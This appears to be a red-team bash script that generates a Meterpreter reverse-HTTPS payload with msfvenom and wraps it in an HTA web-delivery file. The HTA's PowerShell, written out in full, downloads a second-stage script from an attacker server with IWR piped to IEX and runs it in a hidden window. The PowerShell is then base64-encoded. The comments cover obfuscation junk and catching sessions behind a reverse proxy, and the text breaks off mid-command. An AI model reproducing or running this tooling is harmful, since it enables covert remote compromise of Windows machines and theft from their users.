#!/bin/bash # shellcode replacement stuff # meterpreter PSH-NET payload combined with hta-psh web delivery method # darksh3llRU beta v1.0, last update 26.06.2020 # before you start comment and uncomment correct payload to use and options to be used # staged payload doesnt really support proxy, second stage will not arrive via proxy it require msf template changes # stageless payload are splitted as you want, junk is random, but places where to put junk can be extended # Customize user agent if required # use nginx reverse proxy to catch session # payload options for staged msfvenom -p windows/x64/meterpreter/reverse_https --list-options payload="windows/x64/meterpreter_reverse_https" #stageless #payload="windows/x64/meterpreter/reverse_https" #staged ListenerIP=192.168.114.26 ListenerPort=443 ListenerURI="/logout/" ProxyType=HTTP ProxyHost="" ProxyPort="" ProxyUser="" ProxyPass="" declare "UserAgent"="'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko'" DownloadURL="http://10.0.8.4:8080" # WEB DELIVERY HTA # just raw hta-psh, no need for real options hta_exploit="msfvenom -p windows/x64/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 -f hta-psh -o user_settings.hta" printf "Creating dumb HTA-PSH payload:\n$hta_exploit...\n" $hta_exploit # example of hta_payload template !CUSTOMIZE IT IF NEEDED! # AWARE of escaping in bash! printf "Creating hta payload...\n" printf "if([IntPtr]::Size -eq 4)" > hta_payload.txt printf "{\$babushka=\$env:windir+'\sysnative\WindowsPowerShell\\\v1.0\powershell.exe'}else{\$babushka='powershell.exe'};" >> hta_payload.txt printf "\$samosval=New-Object System.Diagnostics.ProcessStartInfo;" >> hta_payload.txt printf "\$samosval.FileName=\$babushka;" >> hta_payload.txt printf "\$samosval.Arguments=\"[System.Net.WebRequest]::DefaultWebProxy=[System.Net.WebRequest]::GetSystemWebProxy();[System.Net.WebRequest]::DefaultWebProxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;IWR $DownloadURL/final_pshnet_revhttps.ps1 -UserAgent 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko'|IEX\";" >> hta_payload.txt printf "\$samosval.UseShellExecute=\$false;" >> hta_payload.txt printf "\$samosval.RedirectStandardOutput=\$false;" >> hta_payload.txt printf "\$samosval.WindowStyle='Hidden';" >> hta_payload.txt printf "\$samosval.CreateNoWindow=\$false;" >> hta_payload.txt printf "\$traktor=[System.Diagnostics.Process]::Start(\$samosval);" >> hta_payload.txt # convert hta_payload template to base64 utf-16le cat hta_payload.txt | iconv -f ascii -t utf-16le | base64 | tr -d '\n' > hta_payload.base64.txt hta_payload_base64=$(